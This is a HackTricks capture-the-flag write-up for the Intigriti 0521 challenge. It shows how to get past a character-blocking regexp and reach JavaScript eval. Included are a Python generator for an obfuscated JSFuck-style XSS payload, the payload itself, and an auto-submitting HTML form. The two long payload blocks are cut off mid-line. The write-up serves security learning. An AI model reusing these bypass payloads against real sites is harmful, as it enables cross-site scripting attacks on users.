1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00
hacktricks/ctf-write-ups/challenge-0521.intigriti.io.md

177 lines
76 KiB
Markdown
Raw Normal View History

2021-06-08 00:32:49 +02:00
# challenge-0521.intigriti.io
### Brief Description <a id="Brief-Description"></a>
The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).
This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io/) via an iframe.
It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.
However, before inserting the user input inside the`eval` function, its checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input wont be executed inside `eval`.
Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
### Accessing the HTML <a id="Accessing-the-HTML"></a>
It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:
![](https://i.imgur.com/Slq2Xal.png)
Also, its important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:
```javascript
document.domain
document["domain"]
```
And the same happens with attributes that are functions \(methods\):
```javascript
document.write("1")
document["write"]("1")
```
Then, from the `e` HTML element its possible to access the `document` object using something like:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
```
### Calling a function without parenthesis with JS code as string <a id="Calling-a-function-without-parenthesis-with-JS-code-as-string"></a>
From the object `document` its possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.
However, as the `()` characters are **forbidden**, its not possible to call the function using them. Anyway, its possible to call a function using **backtips** \(\`\`\).
Moreover, its possible to put as string javascript code that is going to be executed using `${...}` like:
```javascript
`${"alert(document.location)"}`
```
Therefore, combining the `document` object access with this technique to execute functions without parenthesis its possible to **execute an alert using**:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
```
You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
### Final forbidden characters bypass <a id="Final-forbidden-characters-bypass"></a>
However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit \(e\[\]\`${}\) are allowed**.
This means that if its possible to **generate the forbidden charaters as strings from the allowed characters**, its possible to generate the exploit.
In order to do this I have generated a [JSFuck](http://www.jsfuck.com/) like alphabet to generate the necesary characters \(_this alphabet is custom for this challenge_\).
You can **see the full alphabet inside the exploit code** \(which can be found in the next subsection and in the file _exploit.txt_\).
For example, in order to **generate the letter `a`** its possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.
Using these tricks and some more complex ones it was possible to **generate all the characters \(letters and symbols\) of the strings contained** in the exploit:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
```
### Exploit Code <a id="Exploit-Code"></a>
This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
```python
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = '<script>alert(document["domain"])</script>'
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
```
### Exploitation <a id="Exploitation"></a>
In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
```text
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][
```
Then, you need to **generate a HTML page** that, when loaded, its going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose \(_note that the exploit is URL encoded_\):
```markup
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
<input type="hidden" name="c" value="e&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
Finally, **serve the poc in a HTTP** server and access it from the browser:
![](https://i.imgur.com/qack7GO.png)
Just press **submit** on the captcha form and the alert will be executed:
![](https://i.imgur.com/mCORty3.png)